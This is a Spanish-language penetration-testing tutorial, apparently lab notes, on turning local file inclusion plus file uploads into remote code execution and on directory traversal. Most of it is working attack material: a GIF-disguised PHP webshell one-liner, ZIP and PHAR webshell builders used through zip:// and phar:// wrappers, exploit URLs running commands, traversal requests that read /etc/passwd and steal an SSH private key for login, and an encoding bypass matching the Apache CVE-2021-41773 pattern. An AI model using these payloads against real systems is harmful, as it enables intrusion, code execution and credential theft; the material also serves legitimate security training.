Skip to content

LFI combinado con carga de archivos (File Uploads)

Cuando una aplicación permite subir archivos (imágenes de perfil, documentos, etc.) y además existe un LFI en algún otro punto, se puede combinar ambas debilidades para lograr ejecución remota de código: se sube un archivo que contiene código PHP disfrazado de un formato "seguro" (imagen, ZIP, PHAR), y luego se incluye ese archivo a través del LFI para que el intérprete de PHP lo ejecute.

Funciones vulnerables a inclusión, por lenguaje/framework

Antes de buscar un LFI, conviene identificar qué función de inclusión usa la tecnología del backend, ya que el patrón de explotación cambia según el lenguaje:

Lenguaje/FrameworkFunción(es) típicamente vulnerable(s)
PHPinclude(), include_once(), require(), require_once()
Node.jsres.render() (cuando renderiza una plantilla cuyo nombre proviene de input del usuario)
JavaMecanismos de import/carga dinámica de clases (menos común como vector de LFI clásico, pero análogo en impacto)
.NETDirectivas include/Server.Execute() en páginas ASP/ASPX

Carga de imagen maliciosa

Crear una "imagen" que en realidad contiene código PHP disfrazado con una cabecera de magic bytes de GIF (GIF8), para pasar validaciones superficiales de tipo de archivo:

c
❯ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Subir el archivo a través del formulario correspondiente de la aplicación:

c
http://<SERVER_IP>:<PORT>/settings.php

Identificar la ruta donde quedó almacenado el archivo subido (revisando el HTML de la página donde se muestra la imagen, por ejemplo el perfil de usuario):

html
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">

Incluir el archivo subido a través del LFI para ejecutar el código PHP embebido:

c
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
  • La validación de "magic bytes" (GIF8, \xFF\xD8\xFF para JPEG, \x89PNG para PNG) solo comprueba los primeros bytes del archivo; el resto del contenido puede ser cualquier cosa, incluyendo código PHP, que se ejecutará igualmente si el archivo es incluido por el intérprete en vez de servido como una imagen estática.
  • Este vector requiere que el LFI apunte directamente al archivo con extensión .gif/.jpg/.png (no le añade .php), ya que PHP ejecuta cualquier archivo incluido como código PHP independientemente de su extensión real — la extensión solo importa cuando el archivo se accede directamente vía el servidor web (que sí decide cómo servirlo según el Content-Type asociado a la extensión).

Carga de ZIP con zip://

Empaquetar un webshell PHP dentro de un archivo con extensión de imagen, usando el formato ZIP:

c
❯ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
  • El resultado (shell.jpg) es en realidad un archivo ZIP válido con extensión .jpg, lo cual suele pasar validaciones de extensión de archivo (aunque no siempre pasa validaciones más estrictas de Content-Type/magic bytes, ya que la cabecera ZIP — PK\x03\x04 — no coincide con ningún formato de imagen).

Subir el archivo, y luego incluirlo con el wrapper zip://, especificando el archivo interno con %23 (el carácter # URL-encoded):

c
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
  • La sintaxis es zip://<ruta al ZIP>#<archivo dentro del ZIP>. El símbolo # debe ir codificado como %23 para que no se interprete como un fragmento de URL.

Carga de PHAR (phar://)

Los archivos PHAR (PHP Archive) son un formato propio de PHP para empaquetar aplicaciones completas, y también pueden abusarse de forma similar a un ZIP, con la ventaja de que el propio proceso de creación puede incluir metadatos que ayudan a evadir ciertas validaciones.

Crear el archivo PHAR malicioso:

php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

Compilar el script anterior (requiere desactivar temporalmente la protección de solo lectura de PHAR) y renombrar el resultado con una extensión de imagen:

c
❯ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Subir el archivo e incluirlo con el wrapper phar://, usando %2F (el carácter / URL-encoded) para separar la ruta del archivo interno:

c
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
  • A diferencia de zip:// (que usa #), el wrapper phar:// usa / para referenciar el archivo interno, por lo que debe codificarse como %2F para no confundirse con la estructura normal de la ruta.
  • $phar->setStub('<?php __HALT_COMPILER(); ?>') es obligatorio en la especificación del formato PHAR — sin un stub válido, PHP no reconocerá el archivo como un archivo PHAR válido al intentar incluirlo.

Resumen comparativo de vectores de carga

TécnicaWrapper/mecanismoCuándo usarla
Imagen con código embebidoInclusión directa (sin wrapper)Cuando la validación de subida solo comprueba magic bytes al inicio del archivo.
ZIP disfrazado de imagenzip://archivo#internoCuando la validación es más estricta pero el LFI permite wrappers; requiere que zip esté disponible para crear el archivo.
PHAR disfrazado de imagenphar://archivo/internoAlternativa a ZIP; útil cuando zip:// está bloqueado o filtrado específicamente por el WAF/aplicación.

Notas de explotación

  • En todos los casos, primero hay que resolver la ruta correcta hacia el archivo subido a través del LFI — esto normalmente implica calibrar cuántos ../ se necesitan o inspeccionar el HTML de la aplicación para confirmar la ruta exacta donde se almacenan los archivos subidos.
  • Si la aplicación renombra los archivos subidos con un nombre aleatorio/hash, puede ser necesario encontrar otro punto de la aplicación que revele ese nombre (mensajes de error, respuesta JSON de la subida, etc.) antes de poder referenciarlo en el LFI.
  • Estas técnicas también aplican como alternativa cuando el log poisoning no es viable porque los logs del servidor no son legibles por el usuario bajo el que corre PHP.

Directory Traversal

Directory Traversal (o Path Traversal) es una vulnerabilidad que permite acceder a archivos fuera del directorio raíz de la aplicación web (webroot), aprovechando que la aplicación no sanitiza adecuadamente entradas que se usan para construir rutas de archivos. A diferencia de File Inclusion, Directory Traversal solo permite leer el contenido de un archivo — nunca ejecutarlo, incluso si el archivo es código fuente ejecutable (por ejemplo, un .php).

Rutas absolutas vs relativas

Para explotar las vulnerabilidades de esta familia, es indispensable entender la diferencia entre ambos tipos de ruta.

Rutas absolutas

Especifican la ruta completa del sistema de archivos, incluyendo todos los subdirectorios, empezando siempre desde la raíz (/ en Linux). Pueden usarse desde cualquier ubicación del sistema de archivos:

c
❯ pwd
/home/kali

❯ ls /
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var

❯ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
  • Al anteponer / antes de etc, se referencia la ruta absoluta desde la raíz del sistema de archivos — funciona sin importar cuál sea el directorio de trabajo actual.

Rutas relativas

Se interpretan en relación al directorio de trabajo actual. ../ sube un nivel de directorio; se pueden encadenar múltiples secuencias para subir varios niveles:

c
❯ pwd
/home/kali

❯ ls ../
kali

❯ ls ../../
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
c
❯ ls ../../etc
adduser.conf            debian_version  hostname        logrotate.d     passwd 
...

❯ cat ../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
...

El número exacto de ../ solo importa hasta llegar a la raíz del sistema de archivos — a partir de ahí, ../ adicionales no tienen ningún efecto (no hay "más atrás" desde /):

c
❯ cat ../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
...
  • Esto es útil en la práctica cuando no se conoce el directorio de trabajo exacto de la aplicación vulnerable: usar una cantidad generosa de ../ (por ejemplo, 10-12) garantiza llegar a la raíz sin importar la profundidad real del directorio de instalación.

Identificación y explotación

Para identificar candidatos a Directory Traversal, conviene inspeccionar cuidadosamente enlaces, botones y parámetros de la aplicación (revisando el código fuente cuando sea posible). Un enlace como el siguiente ya revela información valiosa:

c
https://example.com/cms/login.php?language=en.html
  • login.php : indica que la aplicación usa PHP.
  • El parámetro language toma como valor un archivo (en.html) — cualquier parámetro que reciba un nombre de archivo como valor merece revisión cercana.
  • cms en la ruta indica que la aplicación corre dentro de un subdirectorio del webroot, no en la raíz.

Caso de estudio

Navegando por una aplicación web de ejemplo en http://webapp.local/app/index.php, se identifica un enlace "Admin" que apunta a index.php?page=admin.php. Al hacer clic, se recibe un mensaje "under maintenance" — importante, porque revela que la información se muestra dentro de la misma página (index.php incluye el contenido de admin.php). Confirmando directamente en webapp.local/app/admin.php se obtiene el mismo mensaje, sugiriendo que el parámetro page efectivamente incluye el contenido del archivo indicado.

Con esta hipótesis, se prueba path traversal hacia un archivo conocido del sistema:

c
http://webapp.local/app/index.php?page=../../../../../../../../../etc/passwd
  • Al confirmarse la lectura de /etc/passwd, queda validada la vulnerabilidad.

De la lectura de /etc/passwd a acceso al sistema

/etc/passwd revela los directorios home de todos los usuarios del sistema. Dado que las claves SSH suelen ubicarse en ~/.ssh/ dentro del home de cada usuario, y que en despliegues con permisos mal configurados (frecuente por prisas de despliegue o programas de seguridad inmaduros) esos archivos pueden ser legibles por el usuario del servidor web:

c
http://webapp.local/app/index.php?page=../../../../../../../../../home/jsmith/.ssh/id_rsa

Es preferible usar curl en vez del navegador para esta extracción, ya que el navegador puede reformatear/interpretar el contenido de forma que corrompa la clave:

c
❯ curl http://webapp.local/app/index.php?page=../../../../../../../../../home/jsmith/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
...
  • Copiar el bloque completo (desde -----BEGIN hasta -----END) a un archivo local, ajustar permisos, y conectar:
c
❯ chmod 400 stolen_key
❯ ssh -i stolen_key -p 2222 jsmith@webapp.local
  • El puerto SSH puede no ser el estándar (22) en un entorno de laboratorio/prueba con múltiples servicios en el mismo host — confirmar el puerto correcto antes de conectar.

Directory Traversal en Windows

En Windows, el archivo equivalente a /etc/passwd para confirmar la vulnerabilidad (legible por todos los usuarios locales, sin revelar nada especialmente sensible) es:

c
C:\Windows\System32\drivers\etc\hosts

A diferencia de Linux, no existe un vector directo equivalente de "leer /etc/passwd → obtener clave SSH → acceso al sistema" en Windows: no hay un archivo central que liste usuarios y sus directorios home de forma tan directamente explotable, y sin poder listar contenido de directorios (solo leer archivos conocidos), encontrar archivos sensibles requiere conocer de antemano la tecnología/framework en uso para deducir rutas típicas.

Rutas típicas a investigar según la tecnología identificada

Si se identifica IIS como servidor web:

c
C:\inetpub\logs\LogFiles\W3SVC1\    (logs de acceso)
C:\inetpub\wwwroot\web.config       (configuración, a menudo con credenciales)

Backslash como alternativa al forward slash

Windows usa backslash (\) para rutas de archivo nativamente. Aunque el RFC 1738 especifica que las URLs deben usar siempre forward slash, algunas aplicaciones en Windows solo son vulnerables usando ..\ en vez de ../ — probar ambas variantes sistemáticamente contra objetivos Windows.

Bypass mediante codificación de caracteres especiales

Cuando ../ es filtrado (por el servidor web, un WAF, o la propia aplicación) pero el filtro solo compara el texto plano, URL encoding (percent encoding) a menudo evade la detección:

Intento directo sin encoding, bloqueado:

c
❯ curl http://172.16.76.10/cgi-bin/../../../../etc/passwd

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

Codificando únicamente los puntos (.%2e), el filtro que solo busca la cadena literal ../ no lo detecta:

c
❯ curl http://172.16.76.10/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
  • Este es exactamente el patrón de explotación de CVE-2021-41773/CVE-2021-42013 (Apache 2.4.49/2.4.50): un path traversal en el manejador de cgi-bin que solo requiere codificar los puntos para evadir la validación de ruta normalizada que Apache aplicaba antes de decodificar.
  • Referencia de tabla de caracteres especiales para codificación manual: https://www.degraeve.com/reference/specialcharacters.php

La razón por la que esto funciona: el filtro de la aplicación (o del servidor/WAF delante de ella) inspecciona la cadena antes de decodificarla, mientras que el componente que finalmente resuelve la ruta en el sistema de archivos la decodifica primero — la representación codificada "engaña" al filtro sin cambiar el resultado final de la resolución de ruta.

Notas de metodología

  • Confirmar siempre la vulnerabilidad con un archivo de bajo riesgo (/etc/passwd, hosts en Windows) antes de intentar leer archivos potencialmente sensibles.
  • No asumir que un parámetro que recibe un archivo como valor es explotable solo por su nombre (page, file, template, include) — confirmar empíricamente probando el path traversal antes de reportarlo.
  • Cuando el traversal funciona pero no revela nada explotable por sí solo (solo lectura, sin claves SSH accesibles), combinar un upload con un traversal en el nombre de archivo de destino puede permitir sobrescribir archivos críticos incluso sin lograr ejecución directa de código.